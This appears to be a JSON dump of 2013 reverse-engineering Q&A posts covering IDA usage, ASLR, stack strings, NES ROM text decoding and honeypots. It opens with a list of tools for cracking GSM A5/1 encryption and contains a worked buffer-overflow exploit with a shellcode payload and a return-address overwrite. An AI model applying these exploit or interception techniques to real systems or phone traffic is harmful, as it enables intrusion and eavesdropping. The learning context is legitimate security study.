href=\"https://docs.google.com/viewer?url=http://www.bolet.org/~pornin/2000-ches-pornin%2bstern.pdf\">Software Hardware Trade-offs - Applications to A5/1 Cryptanalysis</a> - another nice paper on A5/1. Observations : You can find the specifications for A5/3 in the <a href=\"http://www.3gpp.org/Confidentiality-Algorithms\">middle of this page</a>. There are also two Blackhat presentions that cover part of those papers in a succinct way <a href=\"https://docs.google.com/viewer?url=https://srlabs.de/blog/wp-content/uploads/2010/07/Attacking.Phone_.Privacy_Karsten.Nohl_1.pdf\">Attacking Phone Privacy</a> and <a href=\"https://docs.google.com/viewer?url=https://srlabs.de/blog/wp-content/uploads/2010/07/100729.Breaking.GSM_.Privacy.BlackHat1.pdf\">Breaking Phone Privacy</a>. If you like animations, there is an <a href=\"https://www.youtube.com/embed/LgZAI3DdUA4\">A5/1 Cipher Animation</a> on YouTube. <a href=\"https://twitter.com/matthew_d_green\">@matthew_d_green</a> deserves to be mentioned, considering he wrote a small synthesis of cellular communications crypto flaws in his <a href=\"http://blog.cryptographyengineering.com/2013/05/a-few-thoughts-on-cellular-encryption.html\">blog</a>. </p>\n\n<p>Important observation : The GSM specifications are located in <a href=\"http://www.3gpp.org/\">3GPP's website</a>. To find them, you need to determine the <a href=\"http://www.3gpp.org/Specification-Numbering\">numbering</a> of the part you're looking for. Then, you browse into <a href=\"ftp://ftp.3gpp.org/specs/\">their ftp server</a> and look for the date and release you fancy. (Releases prior to 2012-13 need to be solicited through their contact mail). Supposing you want the latest \"3G and Beyond / GSM\" Signalling Protocols specifications, you'll need to browse to their \"latest\" folder, descend to the release you're looking for (i.e. Release 12), and finally download the \"Series\" that contain the information you need - which in this case would be \"Series 24\". Therefore, the result of your endeavor would be : <a href=\"ftp://ftp.3gpp.org/specs/latest/Rel-12/24_series/\">ftp://ftp.3gpp.org/specs/latest/Rel-12/24_series/</a> .\nIt's not a good user experience, especially because there are several empty directories, but with patience, you can find what you're looking for.</p>\n\n<p><a href=\"https://twitter.com/gat3way\">@gat3way</a> deserves a special mention for documenting his experiments in cracking GSM A5/1 in his blog (<a href=\"http://www.gat3way.eu/index.php?mact=News,cntnt01,detail,0&amp;cntnt01articleid=199&amp;cntnt01returnid=57\">1</a>,<a href=\"http://www.gat3way.eu/index.php?mact=News,cntnt01,detail,0&amp;cntnt01articleid=200&amp;cntnt01returnid=57\">2</a>,<a href=\"http://www.gat3way.eu/index.php?mact=News,cntnt01,detail,0&amp;cntnt01articleid=201&amp;cntnt01returnid=57\">3</a>)  - includes a brief description of the A5/1 mechanism - and the fact that he has implemented support for cracking A5/1 using Pornin's attack in his password recovery tool, <a href=\"http://www.gat3way.eu/hashkill/index.php\">hashkill</a> - <a href=\"https://github.com/gat3way/hashkill/commit/d43fdd2ce042d75862930044fd0b4570bee56cf0\">git commit</a>.</p>\n\n<p>An existing tool to crack A5/1 is Kraken, by srlabs (available through git://git.srlabs.de/kraken.git), which should be used after recording the data with Gnuradio/Gqrx and parsing it with <a href=\"https://svn.berlin.ccc.de/projects/airprobe/\">Airprobe</a>. It needs GSM rainbow tables, available at the <a href=\"https://opensource.srlabs.de/projects/a51-decrypt/files\">jump</a>. </p>\n\n<p>Another tool that can be considered is <a href=\"https://github.com/gat3way/hashkill/\">hashkill</a>, which takes the key to be cracked in a \"frame_number:keystream\" format - it's author published the code for converting a bin burst into the required input format <a href=\"http://www.gat3way.eu/poc/encode.c\">here</a>. He also published a <a href=\"http://www.gat3way.eu/poc/si5.phps\">php script</a> to locate suitable SI5/SI6 encrypted bursts for cracking - you'll need to change the hardcoded values for SI5 frames to fit your location -, which, together with Kraken's xortool, <a href=\"http://www.mail-archive.com/a51@lists.reflextor.com/msg01023.html\">gsmframecoder</a> (that will be used to calculate Timing Advance changes) and <a href=\"https://svn.berlin.ccc.de/projects/airprobe/\">Airprobe</a> should be sufficient to crack GSM.</p>\n"
    },
    {
        "Id": "2964",
        "CreationDate": "2013-10-27T09:31:07.690",
        "Body": "<p>I have some code (I assume Delphi) which uses only the EAX and EDX register for passing the arguments (and of course the stack if more are required). I looked which calling conventions would match, but I haven't found one which uses only EAX and EDX. \nAFAIK Borland fastcall/register is using EAX and EDX, but also ECX, which is not the case here.</p>\n\n<p>Can I tell IDA somehow about this calling convention? How would I do this?</p>\n",
        "Title": "Which calling convention to use for EAX/EDX in IDA",
        "Tags": "|ida|calling-conventions|",
        "Answer": "<p>Delphi and Borland C++ Builder use <code>EAX</code>, <code>EDX</code> and <code>ECX</code> for the first three arguments in their variant of the <a href=\"http://en.wikipedia.org/wiki/Fastcall#fastcall\" rel=\"nofollow\"><code>__fastcall</code> calling convention</a>. So if you choose \"Delphi\" or \"C++ Builder\" in Options-Compiler, you can just use <code>__fastcall</code> in the function prototype - no need to resort to <code>__usercall</code>.</p>\n"
    },
    {
        "Id": "2966",
        "CreationDate": "2013-10-27T10:52:42.373",
        "Body": "<p>Why do IDA and Ollydbg always open some programs with the main() function at the same address?</p>\n\n<p>The address given by IDA is equal to that given by Ollydbg in runtime. However, when I wrote my own C app and ran it, the address of <code>main()</code> was always different between each runtime in Ollydbg.</p>\n\n<p>In IDA, though, there was always the same address, never equal to the one given by Ollydbg, which looked like just some relative address.</p>\n\n<p>Is this caused by the compiler or by something else?</p>\n",
        "Title": "Some programs have always same addressing and some different",
        "Tags": "|ida|debuggers|ollydbg|",
        "Answer": "<p>From <a href=\"http://en.wikipedia.org/wiki/Address_space_layout_randomization\" rel=\"nofollow\">http://en.wikipedia.org/wiki/Address_space_layout_randomization</a> -</p>\n\n<blockquote>\n  <p><strong>Address space layout randomization (ASLR)</strong> is a computer security\n  technique involved in protection from buffer overflow attacks. In\n  order to prevent an attacker from reliably jumping to a particular\n  exploited function in memory (for example), ASLR involves randomly\n  arranging the positions of key data areas of a program, including the\n  base of the executable and the positions of the stack, heap, and\n  libraries, in a process's address space.</p>\n</blockquote>\n\n<p>You can disable ASLR in your C app at build-time by using the linker option <a href=\"http://msdn.microsoft.com/en-us/library/bb384887.aspx\" rel=\"nofollow\"><code>/DYNAMICBASE:NO</code></a>.</p>\n"
    },
    {
        "Id": "2970",
        "CreationDate": "2013-10-27T15:25:17.123",
        "Body": "<p>So I have some encrypted data in this executable. IDA couldn't do much with it, so it defined it as arrays. Now I know how to decrypt this data, and it has some encrypted code. I could of course, put the encrypted data into some separate file, run the decryption on it, and then let IDA process it, but then it looses connection to the original executable.</p>\n\n<p>Is it possible to replace the encrypted data 1:1 with the decrypted one, so I can let IDA process it, in the context of the executable?</p>\n",
        "Title": "Put encrypted code blocks back as unencrypted in IDA",
        "Tags": "|ida|decryption|",
        "Answer": "<p>Just debug the file in IDA itself and <a href=\"https://www.hex-rays.com/products/ida/support/idadoc/1470.shtml\" rel=\"nofollow\">take a memory snapshot</a> once the data is decrypted.</p>\n"
    },
    {
        "Id": "2977",
        "CreationDate": "2013-10-29T16:48:48.743",
        "Body": "<p>How can I clean up/simplify strings that are built at runtime?</p>\n\n<p>I've seen this a couple of times and figured that there has to be something easier. I've been manually converting the characters to try and interpret what strings are being formed.</p>\n\n<pre><code>.text:0040166E C6 45 F0 5C   mov     [ebp+pszSubKey+2Ch], '\\'\n.text:00401672 C6 45 F1 57   mov     [ebp+pszSubKey+2Dh], 'W'\n.text:00401676 C6 45 F2 69   mov     [ebp+pszSubKey+2Eh], 'i'\n.text:0040167A C6 45 F3 6E   mov     [ebp+pszSubKey+2Fh], 'n'\n.text:0040167E C6 45 F4 6C   mov     [ebp+pszSubKey+30h], 'l'\n.text:00401682 C6 45 F5 6F   mov     [ebp+pszSubKey+31h], 6Fh\n.text:00401686 C6 45 F6 67   mov     [ebp+pszSubKey+32h], 67h\n.text:0040168A C6 45 F7 6F   mov     [ebp+pszSubKey+33h], 6Fh\n.text:0040168E C6 45 F8 6E   mov     [ebp+pszSubKey+34h], 6Eh\n.text:00401692 C6 45 F9 5C   mov     [ebp+pszSubKey+35h], 5Ch\n</code></pre>\n",
        "Title": "How can I clean up strings built at runtime (stack strings)?",
        "Tags": "|ida|idapython|",
        "Answer": "<p>The one that worked for me eventually was &quot;<a href=\"https://github.com/mandiant/flare-ida/blob/master/plugins/stackstrings_plugin.py\" rel=\"nofollow noreferrer\">stackstrings</a>&quot; plugin from FireEye/Mandiant FLARE (<a href=\"https://github.com/mandiant/flare-ida/blob/master/python/flare/stackstrings.py\" rel=\"nofollow noreferrer\">based on this module</a>)</p>\n"
    },
    {
        "Id": "2983",
        "CreationDate": "2013-10-30T11:15:39.893",
        "Body": "<p>It's something that puzzle me for a long time. I can observe that there is a difference between the real execution of a program and the <code>gdb</code>-controlled one.</p>\n\n<p>But, here is an example:</p>\n\n<ol>\n<li><p>First, here is the example code (we use an automatic variable to get the location of the stack):</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n\nint main ()\n{\n  char c = 0;\n\n  printf (\"Stack address: %p\\n\", &amp;c);\n\n  return EXIT_SUCCESS;\n}\n</code></pre></li>\n<li><p>Then, we disable the ASLR (we use the personality flags of the process and not the system-wide method through <code>/proc/sys/kernel/randomize_va_space</code>):</p>\n\n<pre><code>$&gt; setarch `uname -m` -R /bin/bash\n</code></pre></li>\n<li><p>Then, get a run in the real memory environment:</p>\n\n<pre><code>Stack address: 0x7fffffffe1df\n</code></pre></li>\n<li><p>And, the same through <code>gdb</code>:</p>\n\n<pre><code> (gdb) r\n Starting program: ./gdb-against-reality\n Stack address: 0x7fffffffe17f\n [Inferior 1 (process 5374) exited normally]\n (gdb) \n</code></pre></li>\n</ol>\n\n<p>So, here we have a difference of 96 bytes between the two runs. But, how can I predict this difference for a given program without having it running in the <em>real</em> memory layout (just by knowing the <code>gdb</code> memory layout) ?</p>\n\n<p>And, also, from where/what is coming this difference ?</p>\n",
        "Title": "How to predict address space layout differences between real and gdb-controlled executions?",
        "Tags": "|gdb|memory|",
        "Answer": "<p>Just to add to the answers, I can tell how to get close to a clean environment despite <code>gdb</code>. In fact, there are two methods to reach this:</p>\n\n<ol>\n<li><p>We can get rid of the extra environment variables added by <code>gdb</code> as follow:</p>\n\n<pre><code>(gdb) unset environment LINES\n(gdb) unset environment COLUMNS\n</code></pre>\n\n<p>Write these commands before running the program, and you should be close to the normal environment. Note that you still have to take care of the <code>_</code> variable.</p></li>\n<li><p>One can also generate a memory core of the vulnerable program and analyze it with <code>gdb</code>:</p>\n\n<pre><code>$&gt; gdb vuln_program core\n</code></pre>\n\n<p>You should just look at the memory and never <code>run</code>, <code>next</code>, <code>step</code>, ... because doing so will force you to restart the program with a fresh memory (with the shift).</p></li>\n</ol>\n\n<p>That was two methods you can use with <code>gdb</code> to follow a program without too much differences with the real execution. But, they are many others!</p>\n"
    },
    {
        "Id": "2990",
        "CreationDate": "2013-10-31T07:52:24.587",
        "Body": "<p>Is it possible to see a kind of statistics in IDA about functions and how often they are referenced? When analyzing a program, I find it helpfull.</p>\n\n<p>Functions that are referenced very often typically are common functionality. An example would be stuff like <code>strcmp()</code>, <code>malloc()/free()</code>, <code>strlen()</code>, etc..</p>\n\n<p>Some of those are quite easy to identfiy (like  a <code>strcmp()</code> implementation), and giving a name to those functions early on, makes the analysis of the rest more easy.</p>\n",
        "Title": "Statistics of call XREFs",
        "Tags": "|ida|",
        "Answer": "<p>The following code is taken from GreyHat Python, and is very similar to the previous answer:</p>\n\n<pre><code>from idaapi import *\nfuncs = [\"malloc\",\"free\",\"strcmp\"]\n\nfor f in funcs:\n   curAddr = LocByName(f)\n   if curAddr != BADADDR:\n      xrefs = CodeRefsTo(curAddr,0)\n      print \"Cross References to %s\" % f\n      for ref in xrefs:\n         print \"08x\" % ref\n         SetColor(ref,CIC_ITEM,0x0000ff)\n</code></pre>\n\n<p>This function will also highlight the call to make tracing it easier</p>\n"
    },
    {
        "Id": "2991",
        "CreationDate": "2013-10-31T11:39:20.817",
        "Body": "<p>I have a structure which looks like this:</p>\n\n<pre><code> RefString struct\n     RefCount dd ?\n     StrLen   dd ?\n     CString  db...\n RefString ends\n</code></pre>\n\n<p>When the code passes around a pointer, it doesn't point to the beginning of the struct (RefCount), instead it points to CString, which is allocated as a normal C-String with a zero terminating character, as well as having the strlen and a refcount. So when the code accesses the strlen or refcount it uses <code>ptr-4</code> respectively <code>ptr-8</code>.</p>\n\n<p>Actually that's quite a nice construct, because this way the string can be used as a delphistring, but also directly passed to some system functions without the need of converting back and forth. </p>\n\n<p>Now I wonder though, if it is possible in IDA to create a struct with the basepointer to the string and it knows that the other fields are with the negative offset.</p>\n",
        "Title": "Struct with negative offset in IDA possible",
        "Tags": "|ida|struct|",
        "Answer": "<p>What you referring to as ptr-4 and ptr-8 are in fact location of singled out variables on stack. IDA has to know the structure in order to recognize it automatically. If you setup custom structure in \"Structures\" subview. Subsequently, You can manually set whatever variable you choose to be the type of that particular variable. Thereafter, IDA will replace references within disassembly view with appropriate offsets to the structure members.  </p>\n\n<p>If IDA \"lands\" in what seems to be the middle of the structure. You could follow the work around below to make it display it differently:</p>\n\n<blockquote>\n  <ol>\n  <li>invert the operand sign by pressing _ (underscore)</li>\n  <li>select the instruction</li>\n  <li>press T. provide calculated delta, select the desired structure and its field</li>\n  </ol>\n</blockquote>\n\n<p>For details consult <a href=\"http://www.hexblog.com/?p=63\" rel=\"nofollow\">Negative structure offsets</a> of <a href=\"http://www.hexblog.com\" rel=\"nofollow\">Hex Blog</a>. </p>\n"
    },
    {
        "Id": "2995",
        "CreationDate": "2013-11-01T19:26:55.183",
        "Body": "<p>Some days ago I coded a simple code to test a buffer overflow exploitation on x86 system. In order to keep it simple I disabled ASLR and NX so there are no protection that could cause weird behaviours.</p>\n\n<p>This is my C code to exploit:</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n\nvoid read_txt(){\n        char txt[64];\n        printf(\"Write something:\");\n        gets(txt);\n}\n\n\nint main(){\n    read_txt();\n    return 0;\n}\n</code></pre>\n\n<p>I also wrote my own shellcode that just prints a string. As far as I know the payload should be something like this, fill the buffer with NOP instructions + shellcode, add 0x41414141 (AAAA) to overwrite EBP register and finally I override the return address with an address pointing to the middle of the NOPs.</p>\n\n<p>Actually it does not work in that way and my payload is as follows:</p>\n\n<pre><code>[1-\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x31\\xd2\\xb0\\x04\\xb3\\x01\\x68\\x20\\x3b\\x29\\x20\\x68\\x68\\x73\\x65\\x63\\x68\\x20\\x48\\x69\\x67\\x68\\x48\\x6f\\x6c\\x61\\x89\\xe1\\xb2\\x0f\\xcd\\x80\\xb0\\x01\\x31\\xdb][2-\\x41\\x41\\x41\\x41][3-\\x89\\xf4\\xff\\xbf][4-\\x89\\xf4\\xff\\xbf]\n\n1- NOPs + Shellcode = 60bytes\n2- AAAA =4 bytes (Padding to fill the buffer, if NOP+Shellcode fills 64bytes it does not work)\n3- Address to override EBP (In the middle of NOPs)\n4- Overrides Return Address\n</code></pre>\n\n<p>This exploit works on gdb but fails if I pass the payload directly to the program, and I think that the problem is that just before the program executes gets() function the disasembler shows the <strong>leave</strong> instruction which points esp to ebp and causes an error.</p>\n\n<p>This is the disassembly of read_txt() function:</p>\n\n<pre><code>0x0804844c &lt;+0&gt;:    push   %ebp\n   0x0804844d &lt;+1&gt;: mov    %esp,%ebp\n   0x0804844f &lt;+3&gt;: sub    $0x44,%esp\n   0x08048452 &lt;+6&gt;: movl   $0x8048510,(%esp)\n   0x08048459 &lt;+13&gt;:    call   0x8048320 &lt;printf@plt&gt;\n   0x0804845e &lt;+18&gt;:    lea    -0x40(%ebp),%eax\n   0x08048461 &lt;+21&gt;:    mov    %eax,(%esp)\n   0x08048464 &lt;+24&gt;:    call   0x8048330 &lt;gets@plt&gt;\n   0x08048469 &lt;+29&gt;:    leave  \n   0x0804846a &lt;+30&gt;:    ret    \n</code></pre>\n\n<p>And this is the execution of the exploit on GDB:</p>\n\n<pre><code>(gdb) x/20x $esp\n0xbffff47c: 0xbffff480  0x90909090  0x90909090  0x90909090\n0xbffff48c: 0x90909090  0xc0319090  0xc931db31  0x04b0d231\n0xbffff49c: 0x206801b3  0x6820293b  0x63657368  0x69482068\n0xbffff4ac: 0x6f486867  0xe189616c  0x80cd0fb2  0xdb3101b0\n0xbffff4bc: 0x41414141  0xbffff489  0xbffff489  0xbffff500\n(gdb) s\nWarning:\nCannot insert breakpoint 0.\nError accessing memory address 0x90909090: I/O Error.\n\n0xbffff489 in ?? ()\n(gdb) c\nContinuing.\nShellcode Executed\nProgram received signal SIGSEGV, Segmentation fault.\n0xbffff4b9 in ?? ()\n(gdb) \n</code></pre>\n\n<p>Notice that EBP points to 0x90909090 because it has the same address that overrides the return address, and also notice the string <strong>Shellcode Executed</strong> that is the shellcode included in the payload.</p>\n\n<p>My question is, where could I point EBP to avoid this problem before pointing the return address to the NOP slide? Also as secondary question why I can't fill the 64bytes buffer with NOPs+Shellcode?</p>\n\n<p>Regards.</p>\n",
        "Title": "Illegal Instruction exploiting sample Buffer Overflow code",
        "Tags": "|c|exploit|buffer-overflow|",
        "Answer": "<p>In fact, the memory layout within <code>gdb</code> and outside of it differs of a few bytes. There have been recently a question about this here. You can read: <a href=\"https://reverseengineering.stackexchange.com/questions/2983/how-to-predict-address-space-layout-differences-between-real-and-gdb-controlled\">How to predict address space layout differences between real and gdb-controlled executions?</a></p>\n\n<p>In your case, you may just have to adjust your address by adding/subtracting 96 bytes.</p>\n\n<p>I can, also, give you a few tricks with <code>gdb</code> to help you a bit with this:</p>\n\n<ul>\n<li><p><code>info frame</code>: This command gives you a full image of the frame you are in. Including where are stored the <em>saved eip</em> ans the <em>saved ebp</em>. It is extremely useful to observe if you reach the right spot in the memory to modify. You may set a breakpoint on <code>read_txt</code> and display the content of the <em>saved eip</em> before and after the <code>gets()</code> is called in order to see if the modification occurred properly.</p></li>\n<li><p>When hitting a:</p>\n\n<pre><code>0xbffff489 in ?? ()\n</code></pre>\n\n<p>It basically means that <code>gdb</code> did not find any symbol linked to the memory location. But, it might be assembly code, especially if it is your shellcode. So, to disassemble it you can use either of these commands:</p>\n\n<ul>\n<li><code>disas 0xbffff489,+40</code></li>\n<li><code>x /10i 0xbffff489</code></li>\n</ul></li>\n</ul>\n\n<p>Hope this help.</p>\n"
    },
    {
        "Id": "2999",
        "CreationDate": "2013-11-02T07:24:50.567",
        "Body": "<p>I am trying to figure out how the <a href=\"http://www.firstpr.com.au/audiocomp/lossless/#rice\" rel=\"nofollow\">Lossless Rice compression</a> algorithm works on the following file. Here is a <a href=\"http://www.sendspace.com/file/me8bcw\" rel=\"nofollow\">DICOM file</a>.</p>\n\n<p>Looking at the information I can see:</p>\n\n<pre><code>$ gdcmdump I160 | grep \"Tamar Compression Type\"\n(07a1,1011) CS [LOSSLESS RICE ]                                # 14,1 Tamar Compression Type\n</code></pre>\n\n<p>I can open the image using <a href=\"http://www.tomovision.com/download/binaries/Tomo_21_r5.zip\" rel=\"nofollow\">TomoVision</a>. The image is 512x512, 16bits (unsigned).</p>\n\n<p>The compressed stream:</p>\n\n<pre><code>$ gdcmraw -t 07a1,100a I160 comp.raw\n</code></pre>\n\n<p>contains (hexdump comp.raw):</p>\n\n<pre><code>1A D5 F8 EB  F2 77 A5 CE  A3 54 D5 2A  C0 5D AA 32...\n</code></pre>\n\n<p>But TomoVision seems to output a series of zeroes until byte 0x1DE. I can also use a command line tool: <a href=\"http://www.tomovision.com/download/download_dicomatic.htm\" rel=\"nofollow\">DICOMatic</a> to process the file. However without a proper license, the <a href=\"http://www.speedyshare.com/qhjq2/I160.dcm\" rel=\"nofollow\">generated file</a> contains a waterwark. So only the first few bytes looks ok:</p>\n\n<pre><code>$ gdcmraw /tmp/I160.dcm /tmp/pixeldata.raw\n$ hexdump /tmp/pixeldata.raw |less\n</code></pre>\n\n<p>Some more encoded files can be found <a href=\"http://www.speedyshare.com/4Xr9f/lossless-rice.tgz\" rel=\"nofollow\">here</a>.</p>\n",
        "Title": "Lossless Rice Compression",
        "Tags": "|decryption|",
        "Answer": "<p>Not worth any bounty, but it might help, as <code>Tomovision.exe</code> doesn't look obfuscated in any way after a quick look, and contains the algorithm you're looking for:</p>\n\n<ol>\n<li>open it in your favorite disassembler</li>\n<li>check for reference to <code>RICE</code> strings (such as <code>C:\\TomoVision\\Prog\\Prog_Lib\\TomoVision_Convert\\NEMA_Compression_RICE_decode.cpp</code> at address <code>4F59C4</code>)</li>\n<li>study the ASM code - a.k.a. do your homework ;)</li>\n</ol>\n"
    },
    {
        "Id": "3000",
        "CreationDate": "2013-11-02T11:20:34.640",
        "Body": "<p>While reading <a href=\"https://reverseengineering.stackexchange.com/a/2996/115\">an answer to another question</a>, it was mentioned that \"<code>78 9C</code>\" was a well-known pattern for Zlib compressed data. Intrigued, I decided to search up the signature on <a href=\"http://www.filesignatures.net/index.php?search=789c&amp;mode=SIG\" rel=\"nofollow noreferrer\">the file signature database</a> to see if there were any related numbers. It wasn't on there. So I checked on <a href=\"http://www.garykessler.net/library/file_sigs.html\" rel=\"nofollow noreferrer\">Gary Kessler's magic number list</a> to see that it wasn't there either.</p>\n\n<p>I even ended up creating a binary file with the signature at the beginning and ran \"<code>file</code>\" on it as a sort of <em>\"I-doubt-it-will-work-but-maybe\"</em> attempt (Since that works with \"<code>50 4b</code>\" because that is a valid ZIP file header and is commonly in the middle of other files.) But none of these attempts revealed that I was looking at a Zlib signature.</p>\n\n<p>It would appear as though most magic number databases only contain file-format magic numbers rather than numbers to differentiate data in the middle of a file. So, my question is:</p>\n\n<p>Are there any places one could find a list of binary signatures of certain types of data streams that are <em>not</em> file formats themselves? Data that is not a file itself, but rather <em>inside</em> a file. </p>\n\n<p>Thanks in advance.</p>\n",
        "Title": "Where could one find a collection of mid-file binary signatures?",
        "Tags": "|file-format|magic-number|",
        "Answer": "<p>Are you perhaps looking for <a href=\"https://code.google.com/p/binwalk/\" rel=\"noreferrer\">binwalk</a>? Especially the <em>magic</em> folder of its source code.</p>\n"
    },
    {
        "Id": "3001",
        "CreationDate": "2013-11-02T13:42:02.317",
        "Body": "<p>I want to extract the strings in <a href=\"http://www.speedyshare.com/NGGVr/Shadowgate-U.nes\">Shadowgate for NES</a>. I ran <code>file</code> on the image and then <code>strings</code>, no luck. I found <a href=\"http://fms.komkon.org/EMUL8/NES.html#LABM\">some information about the NES cartridge file format</a>. The docs mention the use of \u201cName Tables\u201d. Is there a way to disassemble this file and view the strings? I tried</p>\n\n<pre><code> strings -e -T rom.bin\n</code></pre>\n\n<p>I also tried :</p>\n\n<pre><code> objdump -i rom.bin\n</code></pre>\n\n<p>The processor looks to be an M6502 processor and there are Windows disassemblers available.</p>\n",
        "Title": "String extraction from an iNES ROM dump",
        "Tags": "|disassembly|strings|",
        "Answer": "<p>There are several approaches to locating strings in an unknown file. One you already tried: <code>strings</code>. This looks for plain, unencoded ASCII text:</p>\n\n<blockquote>\n  <p>Strings  looks  for  ASCII  strings in a binary file [..] A  string is any sequence of 4 (the default) or more printing characters ending with a newline or a  null. (<code>man strings</code>)</p>\n</blockquote>\n\n<p>But there are many reasons why this naive approach may fail. First off: not every text in the world is ASCII encoded. In fact, examining your file with a binary editor, you can find graphic images for the font used in the game at offset 0x20010 -- monochrome bitmaps of 8x16 pixels. If you assume the first character (a '0') is numbered zero, then 'A' is at position 31 -- definitely <em>not</em> ASCII text. Of course, it's possible the text drawing routine knows this, and re-orders characters to be printed according to this scheme; but, given the age of this particular game (1987) it is more likely that the textual data is <em>stored</em> according to this weird encoding.</p>\n\n<p>In itself, however, this should not be a problem.</p>\n\n<p>Googling for this game provides a number of screen shots, and you can read some of the texts that may appear -- \"The last thing you remember\", \"Word of your historic quest\", etc. --, and a noteworthy point is that all text appears to be in ALL CAPS.</p>\n\n<p>How does that help? Well, if the encoding is <em>remotely</em> 'normal', the character code of an 'A' might be anything, but you can safely assume that <code>code+1</code> is 'B', <code>code+2</code> is 'C', and so on. Now let's assume the text \"THE\" occurs <em>anywhere</em> (a safe assumption). Subtract 'T' from the first byte in the data and note the difference. Subtract this difference from the next byte and test if it is an 'H'; if so, test the same difference on the <em>next</em> byte and see if it is an 'E'. Three times is a charm (in this case), and since the string \"THE\" ought to come up very frequent, you should see lots of hits with the same difference. Then you can write a custom routine to 'convert' <em>all</em> data bytes according to this scheme, and check again if you find useful strings.</p>\n\n<p>That didn't work for Shadowgate.</p>\n\n<p>Another option is that the text has been deliberately obfuscated. A popular (because <em>fast</em>) option was to <a href=\"http://en.wikipedia.org/wiki/Xor\">XOR</a> text with a constant. That way the text was not readily visible when inspected with a hex viewer, yet could easily be displayed. So I did the same as above, only now with a XOR operation instead of a constant subtraction. It didn't work either.</p>\n\n<p>Next: given that SG is a <em>text</em> adventure, it stands to reason the writers tried to stuff as much as possible text into the poor NES memory. To find <em>real world compression</em> (ZIP, LZW) in such an old game is fairly rare, the compression schemes tended to be quite simple. After all, not only RAM was limited but CPU speed as well. What if every character is stored as a 5-bit sequence? That would save lots of memory -- every 8 characters of text could be stored in just 5 bytes, a compression rate of 62.5%.</p>\n\n<p>Why \"5-bit\"? We're talking English text here, plus a handful of punctuation characters, plus (maybe) digits '0' to '9'. The alphabet itself is 26 characters long, which leaves another 6 values for anything else -- and, hey, one of the extra codes could mean \"for the next character use all 8 bits\".</p>\n\n<p>Checking every 5 bits against my test string (which in cryptography is called a <a href=\"http://en.wikipedia.org/wiki/Crib_%28cryptanalysis%29\">\"crib\"</a>), I found the following:</p>\n\n<pre><code>candidate at 0570, delta is 41 H_A\\`THE[TROLL[\ncandidate at 0670, delta is 41 _H\\`ATHE[TROLL[\ncandidate at 0878, delta is 41 `AN`QTHE[TROLL[\ncandidate at 09E3, delta is 41 FROM^THE[DEPTHS\ncandidate at 1380, delta is 41 E[OF[THEM_A[THI\ncandidate at 13F0, delta is 41 ]NX_ATHE[WORDS[\ncandidate at 14C0, delta is 41 PD^`QTHE[FLAME[\ncandidate at 1BBA, delta is 41 UDGE[THEM[BY_A_\ncandidate at 22E0, delta is 41 ]BX_ATHE[GLASS[\ncandidate at 230D, delta is 41 ID_A[THE^SIGN[O\ncandidate at 2375, delta is 41 S[ON[THEM_A\\`AB\ncandidate at 2390, delta is 41 LLOW[THE^VISCOU\ncandidate at 2528, delta is 41 F]PX_THE[STONE[\ncandidate at 25E6, delta is 36 @CP=KTHE@?OFHBS\ncandidate at 27F8, delta is 41 YDP]ATHE[BARK[O\ncandidate at 2B1E, delta is 41 D_H\\]THE[WATER[\n</code></pre>\n\n<p>.. and many more. You can see it works, because I also decoded a few bytes before and after the test string, and that's recognizable as 'something' as well. The 'delta' shown is the difference between the five-bit code (0..31) and ASCII, and you can see it's <code>41</code> for the majority of strings (the only exception seems a false positive).</p>\n\n<p>To assure that this <em>is</em> correct, I tried with another crib: <code>KING</code> (it's a fantasy game):</p>\n\n<pre><code>candidate at 0661, delta is 41 Y[LOOKING[SPEAR\ncandidate at 23B4, delta is 41 [DRINKING[TAR_A\ncandidate at 2B5D, delta is 41 [DRINKING_A\\`AA\ncandidate at 8E1B, delta is 43 \\XVFDKINGDHEEVE\ncandidate at 146F9, delta is 34 JL54HKING48A4:D\n</code></pre>\n\n<p>That seems to work out as well: not the 'king' I was expecting, but nevertheless good results with a delta of 41, random stuff with another delta.</p>\n\n<p>But finding useful strings this way is rather fortunate, because of course there is no guarantee that reading every 5 bits <em>starting at the first byte</em> should display anything useful. There may be lots of other strings in between the ones shown, but they didn't happen to start on a multiple of 5*8 bits. Suppose there was no text at position #0, but there <em>was</em> at position #1, then I cannot see it:</p>\n\n<pre><code> bits for byte 0,1\n 0000.0000 TTTT.T000 (T = Text character bits)\n ---\n reading 1st 5 bits\n 1111.1??? ????.????\n 2nd 5 bits -- the wrong ones!\n .... .111 11??.????\n</code></pre>\n\n<p>To properly decode <em>all</em> strings, you'd now take the following route:</p>\n\n<ul>\n<li>my list of results contain readable text, but some garbage as well. Find out what the 'garbage' is (<code>[</code> appears to be a simple space, but <code>THEM_A\\'AB</code> needs a closer look).</li>\n<li>find as much as possible <em>string starts</em> and note down their addresses</li>\n<li>search the binary for these addresses. After all, if they are 'used', there needs to be some reference to them.</li>\n<li>Before and after these addresses, there will be more. These are addresses of strings the search algorithm did <em>not</em> find, but still may be valid.</li>\n<li>Usually, a list of this kind is a contiguous one (although there may be some data associated with each string). Scan the binary up and down for similar addresses, until you found what's sure to be the start and the end.</li>\n<li>Loop over the list and display everything you can according to the decoding scheme.</li>\n<li>Sit back and enjoy a job well done.</li>\n</ul>\n"
    },
    {
        "Id": "3003",
        "CreationDate": "2013-11-02T22:48:20.783",
        "Body": "<p>I want to operate honeypots for malware analysis purpose and packet capture.</p>\n\n<p>What honeypots are recommended for beginners ? And, what is the best to set-up an honeypot, should it be in a real machine or in a virtual machine ? Finally, does this technique really work for malware capture or is there a better way to get real malware ?</p>\n",
        "Title": "What Honeypots are recommended to capture malwares (for analysis)?",
        "Tags": "|malware|",
        "Answer": "<p>You should take a look at the <a href=\"http://www.honeynet.org/project\" rel=\"nofollow noreferrer\">honeynet project</a> as it's probably the most well known implementation of a honey pot, and it includes plenty of tools and instructions to set up the honey pot and properly set up logging information. You can also see <a href=\"https://security.stackexchange.com/questions/10168/setting-up-a-honeypot\">this</a> thread as the accepted answer here provides a lot of detail and perspective about what you should think about when you're setting up a honeypot.</p>\n\n<p>Any time you're doing any kind of analysis or interaction with malware you should be running it inside of a Virtual Machine. Security procedures aside you never know what you're going to run into when you're doing analysis. </p>\n\n<p>That being said, there is plenty of malware that operates differently if it detects it's running inside of a virtual machine vs. a real system but if you're just getting started I would recommend doing your analysis inside of a VM.</p>\n"
